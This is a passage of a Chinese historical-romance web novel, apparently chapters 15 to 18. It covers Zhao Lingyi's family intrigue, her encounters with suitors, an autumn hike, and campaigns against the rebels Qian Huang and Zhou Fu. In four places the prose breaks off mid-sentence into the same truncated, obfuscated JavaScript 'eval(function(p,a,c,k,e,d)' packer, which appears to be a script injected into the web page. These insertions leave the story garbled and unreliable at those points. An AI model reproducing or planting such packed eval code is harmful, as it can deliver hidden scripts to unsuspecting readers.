听到熟悉声音,赵令仪心中一喜,转身回顾。 赵裒仰头对袁延之咧嘴一笑,露出两颗小虎牙,“好大哥,你真的知道我阿姊在哪。”他越看越喜欢袁延之,这世上怎么会有这么好看的人,不舍松手便牵着袁延之走来。 赵令仪见状又气又好笑,嗔怪道:“阿裒,你怎么一直牵着人家的手呢?也不怕生。”约莫感到前方有道腾腾目光,她稍一抬眸,撞入那似笑非笑的眼底。 软风穿廊,稀稀疏疏的晚香玉一阵纷飞如飘雪,将她素白身影拖出点点光晕,鼓动那抹幽微檀香荡向他的鼻间。 “女公子上次还欠我一杯酒,这次我将幼弟找回,女公子又该如何答谢我?嗯?”他端的散漫拖腔,歪头看小家伙,“要不,你替你姊姊回答。” “我姊姊手艺很好,改日送给好大哥尝尝。”他仿佛媒人上身,满腔热忱,也不管当事人答不答应,只一味地夸。 “阿裒,你少说两句。”赵令仪急得从袁延之手里抢回自家弟弟,薄唇微扬:“我厨艺不精,恐让郎君见笑。” “外美必然慧中,女公子在端午清谈上字字珠玑,才貌两全,何必妄自菲薄呢。”他欣赏着她难为情的样子,狡黠一笑:“那就等着品鉴女公子手艺了。”话未完落,扭身疾步远去,不给她拒绝机会,身后是她哎呀叫唤:“我还未答应呢。” 天色渐暗,诸葛导与卫氏送完所有前来吊唁的亲友,面有疲色,也不与众人一同用餐,先回寝屋休息。门外有人敲门,诸葛导一惊,辨出是诸葛毓,起身开门让女儿进来。 “厨房还剩些汤饼,阿耶若有胃口吃些罢。”诸葛毓递给父亲木箸,追问白昼时不解之事,“阿耶究竟出于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“吾此番从丹阳郡北归,江东空虚无主,才使陈敏割据江东。吾有一计,兵分三路,今中原粮草不继,吾以为国分忧之由说服琅琊王南渡。” “太傅之妻裴妃乃茂宏同僚之妹,宏茂与裴郎私交甚笃,由裴妃帮忙说情,再好不过。” “至于第三路,族兄深受太傅倚重,最能说动太傅。而族兄对阿黑期望为兄弟中之最,阿黑想必定能说服族兄。”诸葛旷说完,左顾右眄他二人神情。 诸葛导焉能不从,遂暗拉诸葛敦的衣袖,点头应承。 而说服太傅岂是易事,耗时半年之久才得以南渡。此事虽成,却与太傅死守正朔路线相左,他与太傅已结下恶果。倘若琅琊王稳坐江东,诸葛有旷首创之功,以及与琅琊王表亲关系,他只会被排挤边缘,那样局势他不愿看到。 所以,他给族兄送了份荐章,让太傅征召诸葛旷带兵北上。 15. 虎尾春冰寒(五) 赵睿一家甫到府,门外有使者呈上诏令:“太傅下诏,命将军讨伐钱璯。” 赵睿回书房,刮除绳结处胶泥,展开绢帛谛视。 赵绍从父亲手中接过,阅毕道:“钱璯造反,太傅忙于对抗匈奴,命父亲讨伐钱璯。可父亲南渡只带了府兵,就算将封国千余户人家,每户召一名男丁,也难以平叛。” “确实棘手。”赵睿道,“钱璯拥立孙充为吴王,率部队渡江南下。我刚在江东站稳脚跟,钱璯此时叛乱,我苦心经营的局面毁之一旦。” 钱璯带兵回到三吴,说明要占据江东,凭借长江抵抗匈奴和北方朝廷。为给自己造反找合理性,激起东吴人对赵睿祖上灭国仇恨,拥护孙吴末代皇帝孙皓之子孙充。 赵绍嗤笑:“拥立孙充,非但不能拉拢人心,反而让江东豪族想起过往伤心事。” 孙皓在位时,荒淫无度,大肆兴建帝陵,残害宗室,常虐杀江东大臣,设立酷刑折磨百姓。 赵睿眉宇凝重:“钱璯与陈敏出身不同,倘若江东士族想推举一个吴人做执政人,那么安东将军府岌岌可危。” 门外赵令仪听到父兄在对话,推门而入,呈上密函。赵睿乜斜觑一眼她,见密函完整无损,压下疑心,用刀裁开,对着案上烛火涉览一番。 “钱璯杀了孙充。”赵睿略带防备看着赵令仪,“我与你阿兄有要事相商,你先下去罢。” 赵令仪纠结半晌,还是决意当面直言:“父亲恕罪,女儿并非有意偷听,也知女流不该过问太多政事。只是女儿不忍看父亲寝食难安,想为父亲略尽绵薄之力。” 为防赵睿呵斥,赵绍先开口:“阿耶,上巳节请诸葛祭酒助威正是予安的的主意。” 赵睿眉峰一挑,“那你有何看法?” 见他神色不喜不怒,赵令仪娓娓道来:“钱璯认定父亲无兵可用,仗着手中有部曲私兵,便欲割据江东。他拥立孙充是错,杀了孙充是错上加错。父亲担心江东士族推钱璯为掌权人,实则江东士族此刻已经想好怎么和钱氏撇清干系。” “钱璯固然出身吴地大族,但此次以援军身份叛乱,道德落了下成,何况他又将原吴主之子孙充杀害,彻彻底底将南士推向对立面。武宗豪强除钱氏外,阳羡周氏旗鼓相当,先前周玘二定江南,在江东具有号召力,若由他组织乡民,定灭叛军。” 豪强在乱世中兼并土地庄园,吸纳无地可种的农户,还有流民,成为自己私兵部曲,动辄上千。 先前石冰、陈敏皆欲割据,无一不以惨败告终。钱璯可以造反,但不能危及江东稳定,不能触犯那些江左士族利益。 “故,女儿以为,父亲只需表面出兵,藉由兵力不足,不必与之交锋,意思意思即可,太傅那边也有一个交代。”她声音如她人一般,细细柔柔的,可言语却似一把锋利匕首,插入赵睿心扉,直指要害。 太傅越非可追随之人也,赵睿早有脱离之意,苦于势弱,表面不能撕破脸。向日,太傅越挟持皇帝攻打成都王颖,他尚在洛阳,不得已随军。在荡阴之战中,太傅越大败,逃回封地徐州,被抛弃的他成了颖的俘虏。 赵睿听完心中还有顾虑,又问:“可朝廷尝授周玘为尚书郎、散骑郎,他皆不就,这次岂能归顺我?” 石冰、陈敏叛乱时,他尚未南渡,江东亦无执政者,利益受损的南士联合反击无可厚非。 “顾祭酒与周玘被誉为‘南土之秀’,今顾祭酒投入父亲麾下,有他出面,何愁周玘不讨伐钱璯。” 此前石冰、陈敏叛乱中,由顾荣等文化士族出面号召,平叛主要依赖周玘。从前两次来看,周玘与顾荣目标一致,守护江东是为维护自家家族利益。 赵睿听完指着赵令仪,对赵绍笑道:“予安读的书只怕都是你读过的罢。”头次端视眼前这个女儿。 自始至终赵令仪躬身颔首,如臣对君般恭敬,少了分父女间相处的自在。屋内蜡烛的火焰在那张苍白小脸上跳跃,明明暗暗,惟有琥珀眼底如常,清泠,波澜不惊。 他难得对女儿展露笑容,赞许地点一点头,“明日我还需和众人商量。” 翌日,赵睿在府署召诸葛导、顾荣与一众南士,共商何人带兵前去讨伐。甘卓有讨伐陈敏经验,欲要自荐,顾荣一记眼神飞来止住他,虽不知顾荣作何打算,但跟随南士首脑的步伐总没错。最后诸葛导进言,命郡尉征讨钱璯。 果不然,与先前担忧无差,钱璯兵马多,郡尉没敢和钱璯硬碰硬。叛军长驱直入,不过半月兵逼阳羡,威胁建邺。 顾荣这才出手,给居家的周玘写信,周玘第三次充当带头人。乡亲鉴于前两次打了胜仗,对周玘立即响应,临时建立一支不可小觑的队伍。赵睿官军和周玘民军南北夹击,钱璯溃不成军,周玘首当其冲,斩下钱璯头颅,送往建邺。 甘卓这才懂顾荣为何要阻止他,有了对比,周玘三定江南地位提升,也将一众南士身价抬高。 赵令仪对周玘平定叛军这个结果并没太多意外。看着佩玖唾沫横飞,说周玘三定江南如何厉害,赵裒托着半边脸听得津津有味,她调笑道:“佩玖在我身边做女使实在太屈才,该去坊间做说书先生。” 刚过午时,赵裒摸摸瘪下去的肚子,嘿嘿笑道:“佩玖姊姊,我饿了。” 佩玖听他腹中咕咕作响,忍俊不禁道:“厨房还有些糯米粉和蜂蜜,不如做炸膏环罢?” 一听到有吃的,赵裒登时来了兴趣,蹲在赵令仪书案旁边,小手拽她衣袖,甜甜笑问:“阿姊,你上回说要给那个好大哥送吃的东西,要不我们做好送给他?” 赵令仪亦回了个浅笑,一字一顿道:“不、便。” 要一个未嫁的女郎上门去谢,这算怎么一回事。她摇摇脑袋,将杂念从脑中驱除,转过身继续看手中帛书。 小家伙仍不死心,膝行到书案另一边,嘟着嘴道:“可是阿姊都答应人家了。” “那是你答应的。”赵令仪放下帛书,伸手戳了戳弟弟的鼻尖,“要是那天你不乱跑,就不会有此烦恼了。” “那……”赵裒忍住咬手指,眼睛偷偷瞄姊姊,想了想,“那阿裒做了送,可是我不会呀,阿姊教教我,要是我做得又丑又难吃,岂不是让人笑话。” 她轻轻打掉弟弟塞在嘴里的手,两手像搓面饼一样捏弟弟白乎乎脸蛋,“佩玖可以教你呀,你就是变着法儿让我做。” 赵裒眼眸晶亮如同月牙,抬起小手在姊姊太阳穴附近一顿瞎揉,满脸认真道:“阿姊书看了这么久,眼睛也该休息啦。” 赵令仪被他这一板一眼的模样逗得笑出了声:“人小鬼大,说话一套一套的,我不答应你都不成。” 佩玖也加入赵裒,一副不嫌事大的样子,“女郎今日身子爽健,就一起来做罢。” 终是寡不敌众,赵令仪被两人推搡着来到厨房,佩玖取来襻膊臂绳为两姊弟缠上。赵令仪将糯米粉和兑水的蜜调和,干湿程度与汤饼面差不多,捏成长约八寸的圆条,弯曲成环状。赵裒有样学样,明明没错过任何一个步骤,面团和粥一样稀稀拉拉的,根本不成型。 “蜜水加的太多了。”眼见锅中的油已经烧得滚烫,冒出丝丝白烟,赵令仪快速将赵裒的稀面团加了些糯米粉,快速揉成形。 金黄的油花在锅边翻腾,她轻轻将面片放入油锅,只听“滋啦”一声,膏环瞬间被热油包裹,迅速膨胀起来。赵裒也迫不及待将自己的面团掷入油锅中,他手上沾着蜜水,滴入油锅中爆起油花,猛地四溅。 他没见过这仗势,站在原地,小嘴圆成一个鹌鹑蛋大,佩玖疾忙抱开。背对油锅的赵令仪可就没有赵裒那样被人抱开的好运,裸露的胳膊冷不防被油珠烫到,瞬间传来一阵刺痛。 赵裒见状,惊呼一声:“阿姊!” 佩玖连忙将灶火关上,打水给赵令仪冷敷。赵裒眼中满是歉意,嘴鼓得似皮球,对姊姊胳膊处大口“呼呼”吹气,试图缓解姊姊的疼痛,“阿姊,都是阿裒扔得太用力了。” “还好,只溅到一点儿,不要紧。”赵令仪手浸在木盆中,佩玖已将膏药取来,用竹篾给她涂抹上。凉意袭来,她痛楚顿时消退许多。 这会儿膏环在油锅余温中完全炸熟,金黄酥脆,香气四溢。佩玖用筷子翻动下捞出,等油沥干,盛于小碟子,放入食盒。 原本到这一环节,赵令仪的任务也算完成,可以继续看书。赵裒风风火火备车,临出发前,车夫问道:“小公子,你一个人这是要去哪?” 赵裒从车内探出小脑袋,“好大哥府上。” 这说了等同没说,车夫无奈笑道:“小公子,这个好大哥家在哪个坊、哪个巷?若无人陪同你,阿翁可不敢带你出门。” “这个么……”赵裒扰扰头,跳下车,“阿翁,我现在去叫姊姊陪我。” 不一会儿,车夫便瞧见赵裒跟着赵令仪出来,脸上堆满谄媚,像糖人娃娃似的,眼睛眯成一道弯缝,一口一个“亲亲好阿姊”。 居家的袁延之还不知会有贵客上门,此时斜倚双人榻上,手托脑袋,凝睇诸葛恬大快朵颐,士族风度早飞到爪哇国去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵裒如同进了自家般,与袁延之挤在一张双人榻,“好大哥,这个是阿姊做的,送给你来尝尝,阿姊今天手还被油给溅了呢。”提及姊姊,他小脸又露出惭色。 袁延之左看右看,只瞅见他身后跟着佩玖一人,便问道:“你阿姊呢?” 他小手一招,“我偷偷告诉你。”袁言之也极为配合,弯腰把耳朵凑近了些。诸葛恬也不知那小家伙说了什么,只见袁延之嘴角仿佛要咧到太阳穴。 听完袁延之摸摸发红的耳朵,挑眉笑道:“是么?” “我说的话你怎么还不信。”赵裒故作生气,双手抱胸,下巴拐向另一边,注意到身穿丧服诸葛恬又是吃肉,又是喝酒,诧异道:“这个小哥不是诸葛长史家的,穿着丧服,怎么躲到这儿喝酒了。” “小公子!”佩玖连忙将赵裒从榻上拉起,朝两人屈膝,尬笑道:“失礼了。我家小公子不能离府太久,奴先回去复命了。” 等主仆二人一走,诸葛恬凑近问道:“那小孩和你说什么?瞧你笑得这样开心。” “既然他只对我一人说,那便只我一人才可知晓。阿螭知道太多,未必是好事。”袁延之打开食盒,将形状最丑的那个挑出,分给诸葛恬。 诸葛恬皱眉,若非油香和蜂蜜的甜味告诉他这是个小吃,否则真要将某污秽之物与之联系起来。他摆出神农尝百草的严肃,牙齿削了点屑落在舌苔,咸甜味在味蕾蔓延开,点点头:“勉强入口。” 说完将剩下吃净,手伸向食盒,被袁延之拍开,“她特意做给我的,你已经吃过一个,恕我大方不了。” “哼,我稀罕!”诸葛恬罢罢手,“小舅子都被你收买了,安石可以收拾收拾行李,上门做赘婿了。” “我说非她不可了么?”袁延之拿了块膏环吃。人在没有更好的回答时,还是吃东西更合适。 甜,实在甜。 府外大门停着犊车,车厢内赵令仪撩起幰帘,见佩玖带着赵裒出来,随即放下。佩玖扶赵裒爬上车辕,等两人坐进厢内,赵令仪问赵裒:“你可没说我在车上罢?” 赵裒捂嘴笑道:“阿姊你不让我说在车上,我当然按照阿姊的意思来说。” 赵令仪瞅弟弟神情有些不对劲,但听回话并无漏洞,便把头倒在车壁上。佩玖对她过门不入有些不解,问道:“女郎,你怎么突然和袁郎君生分起来?” 车夫挥鞭,青牛哞叫两声,缓缓起步。 赵令仪指关节抵在下唇,半晌才道:“我与他不熟。”外头的风撞开车帘闯入,鼓鼓地钻在她袖子里,她知道这不是风,是那夜旖旎的梦。 16. 虎尾春冰寒(六) 九月的阳光渐渐照到庭院中,赵令仪打开门,金风带着梧桐叶萧萧而落,堆满秋千。算算时间她到建邺也有一年,今有赵裒在身边,也多些乐趣。 十二岁的孩子精力旺盛,天不亮便起床。赵裒还未及冠,头上简单扎个总髻,为登山行动方便穿了件枣褐色背带裤,上搭茶色半袖绮衣,荷叶边修饰袖端。木屐是特意缩短了屐齿,且较厚实,专为总角孩童设计。 他早早趴在赵令仪床边,轻轻叫唤:“阿姊快醒醒呀,今天可不能晏起,要登高呢。” 听赵令仪喃喃应了声,翻身面朝里面,赵裒从枕边撩起她一缕散发,用发尾挠姊姊耳后根。赵令仪早已经清醒,只是平日爱多躺会才起床,见弟弟调皮,她继续假寐,等赵裒伸手摇晃时,突然转身抓住赵裒,抓挠他胳肢窝。 “哈哈哈哈……我错了……哈哈哈哈好痒,我衣服要乱啦。”赵裒像个泥鳅在床沿边打滚。 赵令仪瞥见侍奉巾栉仆妇进屋,顾及赵裒年岁稍大,姊弟在床上撒欢的话语会传到虞孟母耳里,便松了手。 赵裒这才从姊姊手中死里逃生,到门外去等候,但女子梳洗那比得上男子快,他等了小半个时辰,有些无聊,让女婢把秋千擦净,玩会秋千解闷。 给赵令仪梳头的妇人手巧娴熟,很快盘好一个小髻。佩玖备了双木屐,等下牛车再换下锦履,可选衣服有些犯愁,不能太长否则容易绊倒,太短则无法遮住脚面。 当今虽不那么重视儒家礼法,但世家女的脚也不宜被人看光。 纠结许久,赵令仪还是决意穿略长些,大不了走慢些,这样路边风景也可看得仔细些。去岁忙着和诸葛恬斗棋,浪费赏秋的大好机会。 犊车慢慢悠悠走向山脚下,路上赵裒时不时掀起车帘,他第一次来江南,对江南的一切都很好奇。到山脚下,捡了根趁手的木棍,舞得风生水起,仿佛利剑在手,“咻咻”的破空声引得野鸟惊飞而起。 “阿姊,要是有蛇,我一定拿住它的七寸,叫它不敢咬你。” 附近也有不少世家出游,看到赵裒使着蛮劲,不由掩嘴窃笑。赵令仪自然感受到周围异样的眼光,提裙快步上前,小声提醒道:“阿裒,本朝崇文轻武,世家子要讲究风度翩翩,切莫再这样。” “好罢。”赵裒小嘴一撅,丢了木棍。 赵绍看赵裒怏怏不平,想转移他注意力,牵他来和诸葛家兄弟打招呼。 诸葛毓从车辕上下来,暗暗拉了下诸葛悦的衣袖,引弟弟往赵令仪方向望去,含笑道:“大郎可要抓住机会。”与赵绍打过照面后便热情和赵令仪说话。 赵绍与诸葛家兄弟走在前头,赵裒先是跟着赵令仪,后来小腿酸胀想找兄长背,赵绍义正严词拒绝:“男子汉岂能喊累?” 小脸欲要皱成一团,诸葛阴阳怪气的腔调先响起:“阿兄,我腿好酸,你能不能背我啊?”扭捏做作地贴在诸葛悦后背,将赵赵裒方才的模样一学,哈哈大笑。 “阿螭,你既年长几岁,何必欺负人家。”诸葛悦对自家弟弟道,为赵裒擦去额头汗珠,露出温和笑意:“若是感到乏累,我们可以停下歇歇。” 那一身白衣背对秋阳,如千丈松为赵裒遮去刺眼光线,赵裒不由对诸葛悦生出几分好感,抱拳回个礼。 几个哥哥个高腿长走路快,爬到半山腰依旧神清气闲,只有赵裒脸晒得通红。诸葛恬掰过他肩膀,坏笑道:“你阿兄不肯背你,要不我背你?” “不用了,谢谢哥哥,阿裒自己走就好。”赵裒一想起在袁家说破他丧期喝酒吃肉,害怕自己被他摔到山沟,嘿嘿干笑几声找赵令仪去了。 沿鸟道羊肠走去,拨开树丛,遇一山泉,泉水淙淙,撞击到阻石发出幽咽声响,日光从枫树筛下,显得清冷空寂。 见树丛阴翳,众人便在此处停下,也好让一众仆人休憩。赵裒见水就要脱木屐,赵令仪落过水病了许久,因而不许他玩水。 这次赵裒很听话,就坐在石头上,静静看诸葛恬掬一捧水捉弄诸葛悦,“看这山间雾汽升腾,古木森森,难说不住着《九歌》里的山鬼。” 屈原的诗赵裒是读过一些的,也读过几篇志怪小说,初读激动又害怕,想继续看却怕夜里有鬼魅缠他。赵令仪为了让他放心看,凿凿有据告诉他:这世上绝无鬼。 提出“无鬼论”的是阮修,认为人死后若有鬼,那衣服也该有鬼,因为见鬼的人通常会说鬼穿着生前的衣服。 白袖很快一挡,诸葛悦抖落袖上水珠,并不回击,只站远了些,失笑摇头。 诸葛毓拉着赵令仪去采茱萸,因就在这附近,家仆并未步步紧跟。听到不远处诸葛恬和赵家兄弟嬉闹笑声,她心生一计,捏紧了声喊道:“有蛇!”说完撇下赵令仪,拔腿回跑。 看着附近则草丛生,赵令仪心有惶悚,也跟在诸葛毓身后跑。奈何今日裙子太长,她踩到裙摆,脚底擦破了皮。 那三人玩得不亦乐乎,似未听到诸葛毓呼喊,诸葛悦未见赵令仪跟着回来,心道定是出了意外,忙问:“怎不见女公子?” “你快去那边看看,那边有蛇,我害怕先跑了,女公子还在原地。” 诸葛悦道声“好”疾步奔去。诸葛恬余光瞥见兄长匆遽往深处灌木丛走去,停下泼水动作,问道:“大兄何事如此着急?”平日兄长都是一副心平德和模样,就算要解手也断不可能慌急。 “抓蛇去了。”诸葛毓淡淡道,低头看了下自己的裙摆有些污浊,唤了声仆妇,架幕帘欲更衣。 诸葛恬捡了根粗壮树枝正要前往,诸葛毓一把拉住,虚虚点了他头,“你笨呐,这个时节哪还有蛇,往昔爬北邙山你碰到过蛇?” “我知道了。”诸葛恬拉长语调,“阿姊想让阿兄和那女公子独处?”眼眸微转,心里为好友紧张,且看这一出落花流水如何演绎了。 那头赵令仪安慰自己先冷静,以免打草惊蛇。她喘着气看着四周,是否有树枝木棍,转念一想,深秋时节哪里还有什么凶蛇。不免在心里怪诸葛毓看走眼,大惊小怪。 诸葛悦一边小心灌木丛蛇出没,一边搜寻赵令仪,隐隐瞧见树荫下有人影晃动,疾步上前,“女公子有碍否?” “我无碍。” 嘴上说无碍,他还是上顾下眄仔细看过才放心,但见她裙摆几处泥点,右脚缺了一只木屐。 赵令仪顺着视线下移,落在自己脚上,顿觉地面烫脚,踩在左边脚面,将头垂得更低。倒不是因为《礼记》说的男女之大防,而是当站在月光如水的人面前,希望自己也能如玉无暇。 山风挑动裙摆,露出一截白皙脚踝,赵令仪感到一丝冷意,脚趾微微蜷缩,下意识将下裙压了压。只是站在迎风处,又卷来一阵风,她的裙摆勾在路旁含羞草上。 那含羞草形态秀美,外界一有碰撞,立即合拢上叶子,压低了羽轴,唯有绒球状的粉色小花那样显眼,像少女腮颊的红晕。 意识到自己关心给她带来压力,诸葛悦将目光甩开,正好望见约一丈远处有只木屐,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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时人评价诸葛导将相之器,赵睿也多次称赞诸葛导为“萧何”,他是诸葛导嫡长子,未来不出意外会是诸葛氏接班人。若是风,诸葛悦是扶摇之风,若是石,也是泰山之石。 赵令仪想了想,他出身一流世家,假以时日大抵也会像嵇康一样耀目,那份对真名士自风流的仰慕不经意投射在他身上,“正因世人随波逐流保全身家性命,嵇叔夜敢为好友出言得罪权贵,这样的人才值得铭记,如暗夜之幽光。” “你与我所想的一样。”诸葛悦道。 而后两人缄默无言。偶有喜鹊从他身边飞过,一阵鸣叫,清脆而欢快。 两人不在的时间里,诸葛毓在幕帘里更衣,仆妇看见幕帘上有个蛇影,因半晌不动以为是脱落的蛇皮,用树枝打落。 不想蛇缓缓游动攀着树枝缠上,仆妇一把丢了,呼父喊母。赵裒被尖锐叫声吸引,止住泼水动作,静看一群女子鸡飞狗跳。这时蛇早没有盛夏时活跃,受惊地缩回洞里。 建邺不比洛阳,步入深秋气温仍然较高,蛇类还有活动痕迹。 等赵令仪回来时,仆妇搀扶着诸葛毓,上山那会儿的神采荡然无存。诸葛恬忍笑道:“这时候哪有蛇?” 赵绍瞧赵令仪裙上有污迹,又见与诸葛悦一同回来,心有疑问也不好此时问,“时间不早了,下山罢。” 在兄长眼睛瞟来一瞬,赵令仪迅速放了诸葛悦衣袖,点了下头。 回去的路上,几人各有心事,就赵裒耍了一日,上车没多久便酣睡。 17. 忽值山河改(一) 江东平叛钱璯刚告一段落,北方洛阳城内紧张气氛达到顶峰。十月石勒率两万骑兵,长驱直入洛川,幸而被打败。匈奴换了战略,另一支骑兵进入许昌、兖州、豫州一线。 中原兵荒马乱,粮草依赖扬州,许昌作为漕运必经之地,洛阳无疑被扼住咽喉。随着朝廷对兖州、豫州的控制,东南各州接济困难,洛阳饥饿日益加重。太傅下诏檄文,征召天下外军入援京师,然无一军队到达。 城内群臣人心浮动,迁都避难呼声甚紧。司徒诸葛衍卖掉家中车、牛安定人心,告诉城中百姓事态还未糟糕到要亡国程度。 见征兵不至,太傅赵越穿上戎装进宫面圣,请求讨伐石勒。 皇帝看出太傅的真实意图,要将洛阳主力精锐禁军带出洛阳,屯兵镇守在兖、豫二州,依托徐州与石勒周旋来保住洛阳。 他不甘心,自不能让太傅走:“如今匈奴侵逼洛阳,群臣无坚守心思,朝廷社稷全仰赖太傅,要是太傅带兵出征,岂不使朝廷根基孤立?!” 不管是为打通粮道守住洛阳,亦或做别的打算,都必须先离开这个困顿之城。思及,赵越态度愈发坚决:“臣出战讨伐,破贼则以振国威,总比在京畿坐以待毙强!” 话已至此,他这个傀儡皇帝说再多也无用。赵越为向朝廷表明自己并非逃亡,死守正朔,留下王妃裴氏与嫡长子,留下亲信以及少量的东海国兵守卫京城,监视百官。 赵越命诸葛衍为军司,集结了四万人,向许昌出发。军队一离开洛阳,扬州都督周馥立即越级,上书给皇帝,以洛阳孤危请求迁都寿春。 周馥这个意见不失为一个缓解危机的办法,迎合迁都避难的民意,以豫州、青州、兖州三方围绕寿春形成一道防线,防御匈奴。 对于赵越、诸葛衍却是背若芒刺,从前只是洛阳众人口头议论,而周馥上书已经变成朝廷不可不考虑的方略。 一旦皇帝采纳,朝廷将搬移寿春,往私里说,寿春是周馥的地盘,迁都后他们不仅对朝廷大权失去掌控,周馥还会联合其他势力对抗自己。明面上来讲,洛阳作为正朔,具有重要的政治象征意义,迁都极有可能被视为对匈奴外敌的退让,从而影响在中原的号召力。 一旦稍有退让,赵越便陷入被动境地,皇帝就能借此机会摆脱他的控制。故而他否决迁都之议,下令扬州都督及新任淮南太守来中/央述职。 淮南太守人还未到北方,求救信先送往建邺安东将军府。 纸上墨迹点点,拖曳出几座峰峦,显然是万分焦急,不待墨迹干透就装进信封。信上所述周馥拒太傅诏令,淮南太守奉太傅密旨讨伐,兵败退守东城。 诸葛导一觑在座几位军谘祭酒,目光投向沉吟不语的赵睿,“太傅与周馥不对付不止一日,召周馥北上或许是假,诛杀周馥这个后患才是真。” “茂宏所言正是。”赵睿扼腕叹道:“只是周馥统辖江南军事时间比我长得多,在扬州树大根深,论单打独斗,不但奈何不了他,还会自取灭亡。”迁都并不利于他,周馥崛起对他而言无疑是一种威胁。他与周馥分据扬州南北,军事实力却非等同。 赵绍听出话中犹豫,深知父亲素来谨小慎微,但一山难容二虎,于是开口道:“太傅驻扎许昌,与建邺为犄角,父亲可修书给太傅,请求太傅派遣军队征讨周馥,以二对一。” 他自幼跟着赵睿,对军政事务有所涉猎。赵睿听长子出言有章,必然已想好对策,但毕竟还得仰仗江东豪族,也要问问南士的意思。顾荣年事已高,抱病家中,在座人中纪瞻为南士领袖人,赵睿唤纪瞻的表字,笑而问道:“思远以为谁可以领兵?” 江东士族利益已与赵睿绑定一起,也担心周馥迎天子迁都会破坏眼前局势,于各家而言皆是不利。若是除去周馥,便能进一步在未来的政治格局中占据有利位置。纪瞻摆出当仁不让的气势,“属下与甘卓将军愿意领兵。” 甘卓勇猛善战,先后平叛陈敏、钱璯,众人并无异议,点头赞同。 “某也愿往。”诸葛敦从席上起身,对赵赵睿作揖道。此次平叛无疑是提升个人实力绝佳机会,既有江东豪族等与赵越南北夹击寿春,周馥必败无疑,这杯羹他定要分一杯。 赵睿点点头,若能控制淮南,他便扩大势力范围。他当即写信两封,一封送往东城,回复淮南太守,说明定会出兵相助;一封送往许昌,请求太傅派兵南下夹击。 小吏取来舆图,在案上展开,纪瞻、甘卓、诸葛导等人围拢四面,商议军情,最终将路线兵分三路。这支军队各有私心,目的却出奇一致。 诸葛导行军路途较纪瞻、甘卓最远,从西北方向迂回,先行出发。甘卓驻扎寿春以南的合肥,附近有巢湖,水运条件优越,便于运输粮草和兵力。外加此处靠近寿春,发起进攻吸引周馥主力,避免诸葛导被突袭。 临行前,纪瞻联络江东地方豪强,承诺给予封赏,争取他们的支持,以壮大声势和队伍。纪瞻这一路绕至寿春西侧安丰郡附近,切断寿春与外界的联系。 建邺距安丰郡近乎四百里,行军每日走六十里,到安丰已是十月下旬。安丰太守派遣人出城请纪瞻到衙署,设下筵席招待。 将军郭逸表面不动声色打发了送信人,对纪瞻忧道:“这分明是鸿门宴,公断不能去。” 这话不是危言耸听,安丰距寿春近,周馥若串通安丰太守,有意设伏,此去必凶多吉少。纪瞻略微点头,笑道:“将军所虑极是,不过大军在城外扎营,安丰太守即便有心害我,也不敢轻举妄动。他此番设宴,我正好探探口风。” 他拍拍郭逸的肩膀,“这样,我会带几名亲信前往,若过了时辰还未归来,你率大军立刻攻城。” 见纪瞻决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是呀是呀。”安丰太守用力掐住大腿,以防身体颤抖太过明显,灵机道:“周馥过去的部将现在就在安丰郡,此人写得一手好文章,我让他写篇檄文,起草声讨,为公助威。” 纪瞻松了手,怒斥座下亲信:“你们酒喝高了?还不快把刀收起来!”把酒硬塞入安丰太守手中,“那就有劳太守。” “应该的,应该的。”安丰太守唯唯答道。 酒宴散去,纪瞻回到军营,郭逸急忙迎上来,问道:“将军,可有异样?” “此人一开始便想着在哪边下注,并未对我有太多敌意。不过被我几句威压,便答应听候差遣。”纪瞻道,心中还有些顾虑,又道:“只是周馥势力庞大,我军还需谨慎行事。写信给甘卓将军与诸葛导,按计划配合进攻。” “是。” 数日后,甘卓在合肥收到信,操练水师,准备进攻。 18. 忽值山河改(二) 南方冬雨虽下得不大,也不间断下了三四日,天空中乌云密布,似一张厚重的巨大灰布,将整个寿春城遮得密不透光。 雨声淅淅沥沥,听事内诸将听探马来报,安丰太守临阵倒戈,面色与天色相差无几。性格急躁的人忍不住骂道:“狗娘养的,以往见都督一脸谄媚,关键时候学墙头草背叛都督。” 周馥坐于案前,抓着舆图,目光锁定在合肥处。座下的人抬头看了外面,暗暗一叹:“这雨下的真不是时候,倒给甘卓那厮方便。” 甘卓确实是想走水路的,运输粮草走水路比陆路省力,顺肥水北上,可与纪瞻联合,但冬季水位较低,部分水道无法通航,影响兵力部署。 经过这一场雨,水位高涨,给了甘卓便利。 主座的人一声不发,诸将也猜不透周馥想什么,仓官却是无法再等了,上前道:“都督,庐江郡的粮路已断,若再不主动出击,届时城中无粮,纪瞻和甘卓围攻,都督将陷入困境啊!” “粮草还能吃多久。”周馥问。 “至多二十天。” 座下诸将一听粮草将绝,都坐不住了,纷纷附和道:“都督,出击罢。” 犹豫间,门外有来者,守兵打量了衣着,见一身灰布,问:“你是何人?奉谁的命来?” “我是谢摛的扈从,奉安丰太守的命前来给你家都督送信。” 屋中有将士一听此人是安丰太守派来的,出来一点左右,大喝道:“拖出去杀了。” 